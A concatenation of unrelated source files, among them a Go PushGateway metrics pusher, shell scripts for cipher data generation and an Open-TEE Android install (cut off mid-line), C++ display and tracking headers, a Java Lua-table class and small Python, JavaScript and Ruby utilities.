ZapLoggerEntry *ZapLoggerEntry `json:"zapLoggerEntry" yaml:"zapLoggerEntry"` EventLoggerEntry *EventLoggerEntry `json:"eventLoggerEntry" yaml:"eventLoggerEntry"` CertStore *CertStore `json:"certStore" yaml:"certStore"` Pusher *push.Pusher `json:"-" yaml:"-"` IntervalMs time.Duration `json:"intervalMs" yaml:"intervalMs"` RemoteAddress string `json:"remoteAddress" yaml:"remoteAddress"` JobName string `json:"jobName" yaml:"jobName"` Running *atomic.Bool `json:"running" yaml:"running"` lock *sync.Mutex `json:"-" yaml:"-"` Credential string `json:"-" yaml:"-"` } // PushGatewayPusherOption is used while initializing push gateway pusher via code type PushGatewayPusherOption func(*PushGatewayPusher) // WithIntervalMSPusher provides interval in milliseconds func WithIntervalMSPusher(intervalMs time.Duration) PushGatewayPusherOption { return func(pusher *PushGatewayPusher) { pusher.IntervalMs = intervalMs } } // WithRemoteAddressPusher provides remote address of pushgateway func WithRemoteAddressPusher(remoteAddress string) PushGatewayPusherOption { return func(pusher *PushGatewayPusher) { pusher.RemoteAddress = remoteAddress } } // WithJobNamePusher provides job name func WithJobNamePusher(jobName string) PushGatewayPusherOption { return func(pusher *PushGatewayPusher) { pusher.JobName = jobName } } // WithBasicAuthPusher provides basic auth of pushgateway func WithBasicAuthPusher(cred string) PushGatewayPusherOption { return func(pusher *PushGatewayPusher) { pusher.Credential = cred } } // WithZapLoggerEntryPusher provides ZapLoggerEntry func WithZapLoggerEntryPusher(zapLoggerEntry *ZapLoggerEntry) PushGatewayPusherOption { return func(pusher *PushGatewayPusher) { pusher.ZapLoggerEntry = zapLoggerEntry } } // WithEventLoggerEntryPusher provides EventLoggerEntry func WithEventLoggerEntryPusher(eventLoggerEntry *EventLoggerEntry) PushGatewayPusherOption { return func(pusher *PushGatewayPusher) { pusher.EventLoggerEntry = eventLoggerEntry } } // WithCertStorePusher provides EventLoggerEntry func WithCertStorePusher(certStore *CertStore) PushGatewayPusherOption { return func(pusher *PushGatewayPusher) { pusher.CertStore = certStore } } // NewPushGatewayPusher creates a new pushGateway periodic job instances with intervalMS, remote URL and job name // 1: intervalMS: should be a positive integer // 2: url: should be a non empty and valid url // 3: jabName: should be a non empty string // 4: cred: credential of basic auth format as user:pass // 5: logger: a logger with stdout output would be assigned if nil func NewPushGatewayPusher(opts ...PushGatewayPusherOption) (*PushGatewayPusher, error) { pg := &PushGatewayPusher{ ZapLoggerEntry: GlobalAppCtx.GetZapLoggerEntryDefault(), EventLoggerEntry: GlobalAppCtx.GetEventLoggerEntryDefault(), IntervalMs: 1 * time.Second, lock: &sync.Mutex{}, Running: atomic.NewBool(false), } for i := range opts { opts[i](pg) } if pg.IntervalMs < 1 { return nil, errors.New("invalid intervalMs") } if len(pg.RemoteAddress) < 1 { return nil, errors.New("empty remoteAddress") } // certificate was provided, we need to use https for remote address if pg.CertStore != nil { if !strings.HasPrefix(pg.RemoteAddress, "https://") { pg.RemoteAddress = "https://" + pg.RemoteAddress } } if len(pg.JobName) < 1 { return nil, errors.New("empty job name") } if pg.ZapLoggerEntry == nil { pg.ZapLoggerEntry = GlobalAppCtx.GetZapLoggerEntryDefault() } if pg.EventLoggerEntry == nil { pg.EventLoggerEntry = GlobalAppCtx.GetEventLoggerEntryDefault() } pg.Pusher = push.New(pg.RemoteAddress, pg.JobName) // assign credential of basic auth if len(pg.Credential) > 0 && strings.Contains(pg.Credential, ":") { pg.Credential = strings.TrimSpace(pg.Credential) tokens := strings.Split(pg.Credential, ":") if len(tokens) == 2 { pg.Pusher = pg.Pusher.BasicAuth(tokens[0], tokens[1]) } } httpClient := &http.Client{ Timeout: DefaultTimeout, } // deal with tls if pg.CertStore != nil { certPool := x509.NewCertPool() certPool.AppendCertsFromPEM(pg.CertStore.ServerCert) conf := &tls.Config{RootCAs: certPool} cert, err := tls.X509KeyPair(pg.CertStore.ClientCert, pg.CertStore.ClientKey) if err == nil { conf.Certificates = []tls.Certificate{cert} } httpClient.Transport = &http.Transport{TLSClientConfig: conf} } pg.Pusher.Client(httpClient) return pg, nil } // Start starts a periodic job func (pub *PushGatewayPusher) Start() { pub.lock.Lock() defer pub.lock.Unlock() // periodic job already started // caution, do not call pub.isRunning() function directory, since it will cause dead lock if pub.Running.Load() { pub.ZapLoggerEntry.GetLogger().Info("pushGateway publisher already started", zap.String("remoteAddress", pub.RemoteAddress), zap.String("jobName", pub.JobName)) return } pub.Running.CAS(false, true) pub.ZapLoggerEntry.GetLogger().Info("starting pushGateway publisher", zap.String("remoteAddress", pub.RemoteAddress), zap.String("jobName", pub.JobName)) go pub.push() } // Internal use only func (pub *PushGatewayPusher) push() { for pub.Running.Load() { event := pub.EventLoggerEntry.GetEventHelper().Start("publish") event.AddPayloads( zap.String("jobName", pub.JobName), zap.String("remoteAddr", pub.RemoteAddress), zap.Duration("intervalMs", pub.IntervalMs)) err := pub.Pusher.Push() if err != nil { pub.ZapLoggerEntry.GetLogger().Warn("failed to push metrics to PushGateway", zap.String("remoteAddress", pub.RemoteAddress), zap.String("jobName", pub.JobName), zap.Error(err)) pub.EventLoggerEntry.GetEventHelper().FinishWithError(event, err) } else { pub.EventLoggerEntry.GetEventHelper().Finish(event) } time.Sleep(pub.IntervalMs) } } // IsRunning validate whether periodic job is running or not func (pub *PushGatewayPusher) IsRunning() bool { return pub.Running.Load() } // Stop stops periodic job func (pub *PushGatewayPusher) Stop() { pub.lock.Lock() defer pub.lock.Unlock() pub.Running.CAS(true, false) } // GetPusher simply call pusher.Gatherer() // We add prefix "Add" before the function name since the original one is a little bit confusing. // Thread safe func (pub *PushGatewayPusher) GetPusher() *push.Pusher { pub.lock.Lock() defer pub.lock.Unlock() return pub.Pusher } // String returns string value of PushGatewayPusher func (pub *PushGatewayPusher) String() string { bytes, err := json.Marshal(pub) if err != nil { // failed to marshal, just return empty string return "{}" } return string(bytes) } // SetGatherer sets gatherer of prometheus func (pub *PushGatewayPusher) SetGatherer(gatherer prometheus.Gatherer) { if pub.Pusher != nil { pub.Pusher.Gatherer(gatherer) } }
#!/bin/bash local_ip=$(ifconfig | grep -oE "\b((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b" | grep -E "(192|10|172).*$" | grep -E -v "^.*(255)$") echo "Setting .env HOST_IP to $local_ip" echo "HOST_IP=$local_ip" > .env
LOC='/cs/lab-folder/' # set your root project location # LOC='/local-scratch' ROOT="${LOC}/username/cipherdaug-nmt" DATAROOT="${ROOT}/data/iwslt14" # set your data root # specify SRC and TGT data to locate data folder # specify side DEF_SIDE="src" while getopts "s:t:x:" FLAG; do case "${FLAG}" in s) SRC=${OPTARG};; t) TGT=${OPTARG};; x) SIDE=${OPTARG};; # f) SPLITT=${OPTARG};; esac done if [ ! ${#SRC} -gt 0 ]; then echo "-s arg must be provided" echo "usage: bash encipher.sh -s de -t en -x src" # -f train" exit 1 fi if [ ! ${#TGT} -gt 0 ]; then echo "-t arg must be provided" echo "usage: bash encipher.sh -s de -t en -x src" # -f train" exit 1 fi # if [ ! ${#SPLITT} -gt 0 ]; then # echo "-f (split) arg must be provided" # echo "usage: bash encipher.sh -s de -t en -x src -f train" # exit 1 # fi if [ ! ${#SIDE} -gt 0 ]; then echo "warning: -x (side) arg not provided: should be either 'src' or 'tgt'" echo "usage: bash encipher.sh -src de -tgt en -side src" # -f train" echo "default fallback to 'src'" SIDE=$DEF_SIDE fi ##################################### ###### cipher naming convention ##### ##################################### # for each src lang, create a # corresponding cipher dir "srcx" # src = de; -> cipher = dex # replace x with the key # e.g; de -- keys [2,3] # output --> de2, de3 ####### don't change this ########### ## multiling train depends on this ## ##################################### KEYS=(1 2 3 4 5) SPLITS=("train" "valid" "test") ENCIPHER="${ROOT}/cipher/encipher.py" for KEY in "${KEYS[@]}"; do for SPLIT in "${SPLITS[@]}"; do # infer input and output filenames if [ ${SIDE} = "src" ]; then echo "-x (side) : 'src'" SELF_OUT="${DATAROOT}/${SRC}x-${TGT}" OUT_DIR="${DATAROOT}/${SRC}x-${TGT}" mkdir -p ${SELF_OUT} ${OUT_DIR} FILE="${SPLIT}.${SRC}-${TGT}.${SRC}" CIPHER="${SPLIT}.${SRC}${KEY}-${TGT}.${SRC}${KEY}" # the parallel side of input file PARL="${SPLIT}.${SRC}-${TGT}.${TGT}" COPY_PARL="${SPLIT}.${SRC}${KEY}-${TGT}.${TGT}" # self copy [dex - de automatically] SELF_SRC="${OUT_DIR}/${CIPHER}" SELF_TGT="${DATAROOT}/${SRC}-${TGT}/${FILE}" COPY_SELF_SRC="${SPLIT}.${SRC}${KEY}-${SRC}.${SRC}${KEY}" COPY_SELF_TGT="${SPLIT}.${SRC}${KEY}-${SRC}.${SRC}" elif [ ${SIDE} = "tgt" ]; then echo "-x (side) : 'tgt' not supported yet. Exiting now.." exit 1 fi if [ ! -f "${OUT_DIR}/${CIPHER}" ]; then echo "" echo "Generating ** ${SPLIT} ** ${SRC}-${TGT} ${SIDE} cipher .." # generate cipher data for specified input python ${ENCIPHER} -i "${DATAROOT}/${SRC}-${TGT}/${FILE}" --keys $KEY \ --char-dict-path "${DATAROOT}/${SRC}-${TGT}/chardict.train.${SRC}" > "${OUT_DIR}/${CIPHER}" echo "Generating real parallel data for cipher .." # generate parallel data by copying cat "${DATAROOT}/${SRC}-${TGT}/${PARL}" > "${OUT_DIR}/${COPY_PARL}" echo "Generating self parallel data for cipher .." # generate self parallel data by copying cat "${SELF_SRC}" > "${SELF_OUT}/${COPY_SELF_SRC}" cat "${SELF_TGT}" > "${SELF_OUT}/${COPY_SELF_TGT}" echo "Done!" else echo "Found ${SRC}-${TGT} ${SIDE} - ${KEY} cipher. Not generating!" fi done done echo echo "Check dirs:" echo "${OUT_DIR}" echo "${SELF_OUT}"
<reponame>neal-siekierski/kwiver<filename>track_oracle/core/track_oracle_frame_view.h /*ckwg +5 * Copyright 2010-2016 by Kitware, Inc. All Rights Reserved. Please refer to * KITWARE_LICENSE.TXT for licensing information, or contact General Counsel, * Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065. */ #ifndef INCL_TRACK_ORACLE_FRAME_VIEW_H #define INCL_TRACK_ORACLE_FRAME_VIEW_H #include <vital/vital_config.h> #include <track_oracle/core/track_oracle_export.h> #include <track_oracle/core/track_oracle_core.h> #include <track_oracle/core/track_oracle_row_view.h> namespace kwiver { namespace track_oracle { class TRACK_ORACLE_EXPORT track_oracle_frame_view: public track_oracle_row_view { friend class track_base_impl; private: track_oracle_row_view& parent_track_view; bool unlink( const oracle_entry_handle_type& row ); frame_handle_type create(); public: explicit track_oracle_frame_view( track_oracle_row_view& parent ); const track_oracle_frame_view& operator[]( frame_handle_type row ) const; }; } // ...track_oracle } // ...kwiver #endif
class EventFileProcessor: def __init__(self, train_tag): self._TRAIN_TAG = train_tag def extract_start_time(self, ea): if self._TRAIN_TAG not in ea.Tags()['scalars']: raise RuntimeError(f'Could not find scalar "{self._TRAIN_TAG}" in event file to extract start time.') # Assuming the start time is stored as a scalar value with the specified tag start_time = ea.Tags()['scalars'][self._TRAIN_TAG] return start_time
package com.cucumber.listener; import com.relevantcodes.extentreports.ExtentReports; public class ExtentManager { private static ExtentReports instance; public static synchronized ExtentReports getInstance() { if (instance == null) { System.out.println(System.getProperty("user.dir")); instance = new ExtentReports(System.getProperty("user.dir") + "/Extent.html"); } return instance; } }
<reponame>bluegrass/java-blues-config package bluegrass.blues.config.definition.builder; import bluegrass.blues.config.definition.IntegerNode; import bluegrass.blues.config.definition.Node; /** * * @author gcaseres * @param <TParentBuilder> */ public class IntegerNodeBuilder<TParentBuilder extends NodeBuilder> extends ChildNodeBuilder<TParentBuilder, IntegerNodeBuilder<TParentBuilder>> { private Integer defaultValue = null; public IntegerNodeBuilder(String name, TParentBuilder parentBuilder) { super(name, parentBuilder); } @Override public Node build() { IntegerNode node = new IntegerNode(this.name); node.setDefaultValue(this.defaultValue); return node; } public IntegerNodeBuilder defaultValue(Integer value) { this.defaultValue = value; return this; } }
/*************************************************************************** * Copyright (C) 2010, 2011 by <NAME> * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU General Public License for more details. * * * * As a special exception, if other files instantiate templates or use * * macros or inline functions from this file, or you compile this file * * and link it with other works to produce a work based on this file, * * this file does not by itself cause the resulting work to be covered * * by the GNU General Public License. However the source code for this * * file must still be made available in accordance with the GNU General * * Public License. This exception does not invalidate any other reasons * * why a work based on this file might be covered by the GNU General * * Public License. * * * * You should have received a copy of the GNU General Public License * * along with this program; if not, see <http://www.gnu.org/licenses/> * ***************************************************************************/ #ifndef MXGUI_LIBRARY #error "This is header is private, it can be used only within mxgui." #error "If your code depends on a private header, it IS broken." #endif //MXGUI_LIBRARY #ifndef DISPLAY_BITSBOARD_H #define DISPLAY_BITSBOARD_H #ifdef _BOARD_BITSBOARD #include <config/mxgui_settings.h> #include "display.h" #include "point.h" #include "color.h" #include "font.h" #include "image.h" #include "iterator_direction.h" #include <stdexcept> #include <limits> //This display is 1 bit per pixel, check that the color depth is properly //configured #ifndef MXGUI_COLOR_DEPTH_1_BIT_LINEAR #error The bitsboard driver requires a color depth of 1bit per pixel #endif namespace mxgui { class DisplayImpl : public Display { public: /** * \return an instance to this class (singleton) */ static DisplayImpl& instance(); /** * Turn the display On after it has been turned Off. * Display initial state is On. */ void doTurnOn() override; /** * Turn the display Off. It can be later turned back On. */ void doTurnOff() override; /** * Set display brightness. Depending on the underlying driver, * may do nothing. * \param brt from 0 to 100 */ void doSetBrightness(int brt) override; /** * \return a pair with the display height and width */ std::pair<short int, short int> doGetSize() const override; /** * Write text to the display. If text is too long it will be truncated * \param p point where the upper left corner of the text will be printed * \param text, text to print. */ void write(Point p, const char *text) override; /** * Write part of text to the display * \param p point of the upper left corner where the text will be drawn. * Negative coordinates are allowed, as long as the clipped view has * positive or zero coordinates * \param a Upper left corner of clipping rectangle * \param b Lower right corner of clipping rectangle * \param text text to write */ void clippedWrite(Point p, Point a, Point b, const char *text) override; /** * Clear the Display. The screen will be filled with the desired color * \param color fill color */ void clear(Color color) override; /** * Clear an area of the screen * \param p1 upper left corner of area to clear * \param p2 lower right corner of area to clear * \param color fill color */ void clear(Point p1, Point p2, Color color) override; /** * This member function is used on some target displays to reset the * drawing window to its default value. You have to call beginPixel() once * before calling setPixel(). Yo can then make any number of calls to * setPixel() without calling beginPixel() again, as long as you don't * call any other member function in this class. If you call another * member function, for example line(), you have to call beginPixel() again * before calling setPixel(). */ void beginPixel() override; /** * Draw a pixel with desired color. You have to call beginPixel() once * before calling setPixel() * \param p point where to draw pixel * \param color pixel color */ void setPixel(Point p, Color color) override; /** * Draw a line between point a and point b, with color c * \param a first point * \param b second point * \param c line color */ void line(Point a, Point b, Color color) override; /** * Draw an horizontal line on screen. * Instead of line(), this member function takes an array of colors to be * able to individually set pixel colors of a line. * \param p starting point of the line * \param colors an array of pixel colors whoase size must be b.x()-a.x()+1 * \param length length of colors array. * p.x()+length must be <= display.width() */ void scanLine(Point p, const Color *colors, unsigned short length) override; /** * \return a buffer of length equal to this->getWidth() that can be used to * render a scanline. */ Color *getScanLineBuffer() override; /** * Draw the content of the last getScanLineBuffer() on an horizontal line * on the screen. * \param p starting point of the line * \param length length of colors array. * p.x()+length must be <= display.width() */ void scanLineBuffer(Point p, unsigned short length) override; /** * Draw an image on the screen * \param p point of the upper left corner where the image will be drawn * \param i image to draw */ void drawImage(Point p, const ImageBase& img) override; /** * Draw part of an image on the screen * \param p point of the upper left corner where the image will be drawn. * Negative coordinates are allowed, as long as the clipped view has * positive or zero coordinates * \param a Upper left corner of clipping rectangle * \param b Lower right corner of clipping rectangle * \param i Image to draw */ void clippedDrawImage(Point p, Point a, Point b, const ImageBase& img) override; /** * Draw a rectangle (not filled) with the desired color * \param a upper left corner of the rectangle * \param b lower right corner of the rectangle * \param c color of the line */ void drawRectangle(Point a, Point b, Color c) override; /** * Pixel iterator. A pixel iterator is an output iterator that allows to * define a window on the display and write to its pixels. */ class pixel_iterator { public: /** * Default constructor, results in an invalid iterator. */ pixel_iterator(): dataPtr(0) {} /** * Set a pixel and move the pointer to the next one * \param color color to set the current pixel * \return a reference to this */ pixel_iterator& operator= (Color color) { *dataPtr= color ? 0 : 1; //This is to move to the adjacent pixel dataPtr+=aIncr; //This is in case the 64th vertical line is crossed, and is because //the display framebuffer is logically 256x128 but physically 512x64 if(--quirkCtr<=0) { quirkCtr=quirkReload[quirkFlag]; dataPtr+=qIncr[quirkFlag]; quirkFlag=1-quirkFlag; } //This is the step move to the next horizontal/vertical line if(++ctr>=endCtr) { ctr=0; dataPtr+=sIncr; } return *this; } /** * Compare two pixel_iterators for equality. * They are equal if they point to the same location. */ bool operator== (const pixel_iterator& itr) { return this->dataPtr==itr.dataPtr; } /** * Compare two pixel_iterators for inequality. * They different if they point to different locations. */ bool operator!= (const pixel_iterator& itr) { return this->dataPtr!=itr.dataPtr; } /** * \return a reference to this. */ pixel_iterator& operator* () { return *this; } /** * \return a reference to this. Does not increment pixel pointer. */ pixel_iterator& operator++ () { return *this; } /** * \return a reference to this. Does not increment pixel pointer. */ pixel_iterator& operator++ (int) { return *this; } /** * Must be called if not all pixels of the required window are going * to be written. */ void invalidate() {} private: /** * Constructor * \param start Upper left corner of window * \param end Lower right corner of window * \param direction Iterator direction * \param disp Display we're associated */ pixel_iterator(Point start, Point end, IteratorDirection direction, DisplayImpl *disp) : ctr(0), quirkCtr(std::numeric_limits<int>::max()), quirkFlag(0), dataPtr(disp->framebufferBitBandAlias) { //Handle the framebuffer quirk if the start is in the bottom half short ys=start.y(); short half=disp->getHeight()/2; if(ys>=half) { ys-=half; dataPtr+=disp->getWidth(); } //Compite the increment in the adjacent direction (aIncr) and in the //step direction (sIncr) depending on the direction dataPtr+=2*ys*disp->getWidth()+start.x(); if(direction==RD) { endCtr=end.x()+1-start.x(); aIncr=1; sIncr=start.x()+2*disp->getWidth()-1-end.x(); } else { endCtr=end.y()+1-start.y(); aIncr=2*disp->getWidth(); sIncr=-aIncr*endCtr+1; } //Handle the framebuffer quirk if the window crosses the screen half if(start.y()<half && end.y()>=half) { if(direction==RD) { //In this case the 64th line is crossed only once quirkCtr=endCtr*(half-start.y()); quirkReload[0]=std::numeric_limits<int>::max(); qIncr[0]=-(disp->getHeight()-1)*disp->getWidth(); } else { //In this case the 64th line is crossed many times quirkReload[0]=end.y()+1-half; quirkReload[1]=quirkCtr=half-start.y(); qIncr[0]=-(disp->getHeight()-1)*disp->getWidth(); qIncr[1]=(disp->getHeight()-1)*disp->getWidth(); } } } unsigned short ctr; ///< Counter to decide when to step unsigned short endCtr; ///< When ctr==endCtr apply a step int quirkCtr; ///< Quirk increment is done if reaches zero unsigned short quirkReload[2];///< Value reloaded into quirkCtr int qIncr[2]; ///< Quirk increments short quirkFlag; ///< Used as index in the previous arrays short aIncr; ///< Adjacent increment int sIncr; ///< Step increment unsigned int *dataPtr; ///< Pointer to bit band area friend class DisplayImpl; //Needs access to ctor }; /** * Specify a window on screen and return an object that allows to write * its pixels. * Note: a call to begin() will invalidate any previous iterator. * \param p1 upper left corner of window * \param p2 lower right corner (included) * \param d increment direction * \return a pixel iterator */ pixel_iterator begin(Point p1, Point p2, IteratorDirection d); /** * \return an iterator which is one past the last pixel in the pixel * specified by begin. Behaviour is undefined if called before calling * begin() */ pixel_iterator end() const { return last; } /** * Destructor */ ~DisplayImpl() override; private: /** * Constructor. * Do not instantiate objects of this type directly from application code. */ DisplayImpl(); #if defined MXGUI_ORIENTATION_VERTICAL || \ defined MXGUI_ORIENTATION_VERTICAL_MIRRORED static const short int width=128; static const short int height=256; #elif defined MXGUI_ORIENTATION_HORIZONTAL || \ defined MXGUI_ORIENTATION_HORIZONTAL_MIRRORED static const short int width=256; static const short int height=128; #else #error No orientation defined #endif Color *buffer; ///< For scanLineBuffer pixel_iterator last; ///< Last iterator for end of iteration check unsigned int *framebufferBitBandAlias; ///< For fast pixel_iterator }; } //namespace mxgui #endif //_BOARD_BITSBOARD #endif //DISPLAY_BITSBOARD_H
package jua.objects; import java.util.ArrayList; import java.util.HashMap; import java.util.Objects; import java.util.stream.Collectors; import util.Tuple; public class LuaTable implements LuaObject { private HashMap<LuaObject, LuaObject> map = new HashMap<>(); private ArrayList<LuaObject> list = new ArrayList<>(); @Override public String toString() { return "LuaTable{" + "map=" + map + ", list=" + list + '}'; } @Override public String repr() { return String.format("table: @%d", this.hashCode()); } @Override public String getTypeName() { return "table"; } public LuaObject getList(int idx) { if (idx < list.size()) { var res = list.get(idx); return res != null ? res : LuaNil.getInstance(); } return LuaNil.getInstance(); } public LuaObject get(LuaObject key) { // If integer go through the list otherwise fallback on the map if (isPositiveInteger(key)) { int nb = ((LuaNumber) key).getIntValue(); if (nb < list.size()) { var res = list.get(nb); return res != null ? res : LuaNil.getInstance(); } } return map.getOrDefault(key, LuaNil.getInstance()); } public void put(String key, LuaObject value) { put(new LuaString(key), value); } public void put(LuaObject key, LuaObject value) { if (isPositiveInteger(key)) { // Check if there is enough space to store it in the array list int nb = ((LuaNumber) key).getIntValue(); if (nb < list.size()) { list.set(nb, value); } else { // TODO: find a better way of doing this to avoid memory leak // Fill with nulls until size is good while (nb >= list.size()) { list.add(null); } list.set(nb, value); } } else { map.put(key, value); } } public LuaObject remove(LuaObject key) { if (isPositiveInteger(key)) { int nb = ((LuaNumber) key).getIntValue(); return nb < list.size() ? list.remove(nb) : LuaNil.getInstance(); } else { return map.remove(key); } } public int size() { // Count non null elements from the list starting at 1 if (list.size() <= 1) { return 0; } int count = 0; for (LuaObject obj : list.subList(1, list.size())) { if (obj == null) { return count; } count++; } return count; } public ArrayList<LuaObject> keys() { return new ArrayList<>(map.keySet()); } public ArrayList<LuaObject> listValues() { return list.stream().filter(Objects::nonNull).collect(Collectors.toCollection(ArrayList::new)); } public ArrayList<Tuple<LuaObject, LuaObject>> items() { return map.keySet().stream() .map(k -> new Tuple<>(k, map.get(k))) .collect(Collectors.toCollection(ArrayList::new)); } private boolean isPositiveInteger(LuaObject o) { if (!(o instanceof LuaNumber)) { return false; } Double nb = ((LuaNumber) o).getValue(); return nb == Math.floor(nb) && nb > 0; } public void insertList(LuaObject value) { // Insert at the first null encountered or at the end // Start at 1 ! for (int i = 1; i < list.size(); i++) { if (list.get(i) == null) { list.set(i, value); return; } } list.add(value); } }
<reponame>fermi-lat/CalibData<gh_stars>0 // $Header: /nfs/slac/g/glast/ground/cvs/CalibData/CalibData/Cal/CalCalibLightAtt.h,v 1.4 2003/02/27 21:49:15 jrb Exp $ #ifndef CalibData_CalCalibLightAtt_h #define CalibData_CalCalibLightAtt_h #include "CalibData/Cal/CalCalibBase.h" #include "CalibData/Cal/LightAtt.h" namespace CalibData { /** @class CalCalibLightAtt This class is a container for per-range light attenuation data. It inherits all its implementation from CalCalibBase except for knowledge of its own CLID and a check in putRange to make sure the data being added is of the right sort. */ class CalCalibLightAtt : public CalCalibBase { public: CalCalibLightAtt(unsigned nTowerRow=4, unsigned nTowerCol=4, unsigned nLayer=8, unsigned nXtal=12, unsigned nFace=1, unsigned nRange=1); ~CalCalibLightAtt(); /// Override putRange implementations in order to add consistency /// check bool putRange(idents::CalXtalId id, unsigned range, unsigned face, RangeBase* data); bool putRange(unsigned towerRow, unsigned towerCol, unsigned layer, unsigned xtal, unsigned range, unsigned face, RangeBase* data); virtual const CLID& clID() const { return classID(); } static const CLID& classID(); }; } #endif
<reponame>UKHomeOffice/cop-data-api const formatKey = (key) => { if (!key) { throw new Error('Key needs to be defined before you format it'); } const LINE_LENGTH = 64; const LINE_BREAK = '\n'; const beginKey = '-----BEGIN PUBLIC KEY-----'; const endKey = '-----END PUBLIC KEY-----'; const sanatizedKey = key.replace(beginKey, '').replace(endKey, '').replace(LINE_BREAK, ''); const keyArray = sanatizedKey.split('').map((l, i) => { const position = i + 1; const isLastCharacter = sanatizedKey.length === position; if (position % LINE_LENGTH === 0 || isLastCharacter) { return l + LINE_BREAK; } return l; }); return `${beginKey}\n${keyArray.join('')}${endKey}\n`; }; module.exports = formatKey;
""" Print all even numbers from 1 to 10 """ for x in range(1, 11): if x % 2 == 0: print(x)
<filename>Server/PrivateHeaders/XCTest/XCTKVOExpectation.h // class-dump results processed by bin/class-dump/dump.rb // // Generated by class-dump 3.5 (64 bit) (Debug version compiled Jul 30 2018 09:07:48). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by <NAME>. // #import <Foundation/Foundation.h> #import <CoreGraphics/CoreGraphics.h> #import <XCTest/XCUIElementTypes.h> #import "CDStructures.h" @protocol OS_dispatch_queue; @protocol OS_xpc_object; #import "XCTestExpectation.h" @class NSString, _XCKVOExpectationImplementation; @interface XCTKVOExpectation : XCTestExpectation { _XCKVOExpectationImplementation *_internal; } @property(readonly) id expectedValue; @property(copy) CDUnknownBlockType handler; @property(retain) _XCKVOExpectationImplementation *internal; @property(readonly, copy) NSString *keyPath; @property(readonly) id observedObject; @property(readonly) NSUInteger options; - (void)cleanup; - (id)initWithKeyPath:(id)arg1 object:(id)arg2; - (id)initWithKeyPath:(id)arg1 object:(id)arg2 expectedValue:(id)arg3; - (id)initWithKeyPath:(id)arg1 object:(id)arg2 expectedValue:(id)arg3 options:(NSUInteger)arg4; @end
require 'etengine/scenario_migration' class RenameBunkersCoSliders < ActiveRecord::Migration[5.2] include ETEngine::ScenarioMigration INPUTS = { flexibility_p2l_point_source_CO2: :flexibility_p2l_point_source_co2, flexibility_p2l_point_source_CO: :flexibility_p2l_point_source_co } def up migrate_scenarios do |scenario| update_scenario(scenario, INPUTS) end end def down inverted_inputs = INPUTS.invert migrate_scenarios do |scenario| update_scenario(scenario, inverted_inputs) end end private def update_scenario(scenario, inputs) inputs.each do |from, to| next unless scenario.user_values.key?(from) scenario.user_values[to] = scenario.user_values.delete(from) end end end
def generate_cmake_command(WITH_MKL: bool, WITH_GPU: bool, USE_TENSORRT: bool, LIB_DIR: str, CUDNN_LIB: str, CUDA_LIB: str) -> str: cmake_command = "cmake .. -DPADDLE_LIB={} -DWITH_MKL={} -DWITH_GPU={} -DWITH_STATIC_LIB=OFF".format(LIB_DIR, "ON" if WITH_MKL else "OFF", "ON" if WITH_GPU else "OFF") if USE_TENSORRT: cmake_command += " -DTENSORRT_ROOT=/paddle/nvidia-downloads/TensorRT-6.0.1.5" return cmake_command
#!/bin/bash # # Copyright (C) 2015 Aalto University. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Open-TEE install targets OT_PROGS=${OT_PROGS-"opentee-engine conn_test_app"} OT_LIBS=${OT_LIBS-"libtee libCommonApi libInternalApi libcrypto_test libstorage_test"} OT_LIBSX=${OT_LIBSX-"libLauncherApi libManagerApi"} OT_TAS=${OT_TAS-"libta_conn_test_app"} OT_CONFIG=${OT_CONFIG-"opentee.conf"} # Destinations OT_PREFIX=${OT_PREFIX-"/system"} OT_PROGS_DEST=${OT_PROGS_DEST-"$OT_PREFIX/bin"} OT_LIBS_DEST=${OT_LIBS_DEST-"$OT_PREFIX/lib"} OT_LIBSX_DEST=${OT_LIBSX_DEST-"$OT_PREFIX/lib/tee"} OT_TAS_DEST=${OT_TAS_DEST-"$OT_PREFIX/lib/ta"} OT_CONFIG_DEST=${OT_CONFIG_DEST-"$OT_PREFIX/etc"} # Open-TEE project directory OT_BASEDIR="$(dirname "${BASH_SOURCE[0]}")/project" # Returns the adb shell user from connected device adb_whoami() { echo $(echo "echo \$USER; exit" | adb shell | tail -1 | tr -d '\r') } # Write error message to stdout and exit fail() { echo "`basename $0`: $1" >&2 exit 1 } # Make sure ANDROID_PRODUCT_OUT is set to the product-specific directory that # contains the generated binaries if [ -z "$ANDROID_PRODUCT_OUT" ]; then fail "ANDROID_PRODUCT_OUT not set, run lunch to set build target, aborting" fi # Restart adbd daemon as root if needed if [ "x$(adb_whoami)" != "xroot" ]; then printf "Restarting adbd daemon with root permissions: " adb root sleep 5s if [ "x$(adb_whoami)" != "xroot" ]; then echo "FAILED" fail "failed restart adbd with root permissions, aborting" else echo "OK" fi fi # Remount system partions read-write" printf "Remounting /system read-write: " adb remount || fail "failed to remount /system read-write, aborting" # Create destination directories adb shell mkdir -p "$OT_TAS_DEST" || fail "failed to create '$TA_DEST', aborting" adb shell chmod 755 "$OT_TAS_DEST" || fail "failed to set permissions for '$OT_TAS_DEST', aborting" adb shell mkdir -p "$OT_LIBSX_DEST" || fail "failed to create '$OT_LIBSX_DEST', aborting" adb shell chmod 755 "$OT_LIBSX_DEST" || fail "failed to set permissions for '$OT_LIBSX_DEST', aborting" # Push programs for target in $OT_PROGS do infile="$ANDROID_PRODUCT_OUT/system/bin/$target" echo "Pushing '$target' to '$OT_PROGS_DEST'" adb push "$infile" "$OT_PROGS_DEST" || fail "failed to push '$target', aborting" adb shell chmod 755 "$OT_PROGS_DEST/$target" || fail "failed to set permissions for '$target', aborting" done # Push libraries for target in $OT_LIBS do infile="$ANDROID_PRODUCT_OUT/system/lib/${target}.so" echo "Pushing '$target' to '$OT_LIBS_DEST'" adb push "$infile" "$OT_LIBS_DEST" || fail "failed to push '$target', 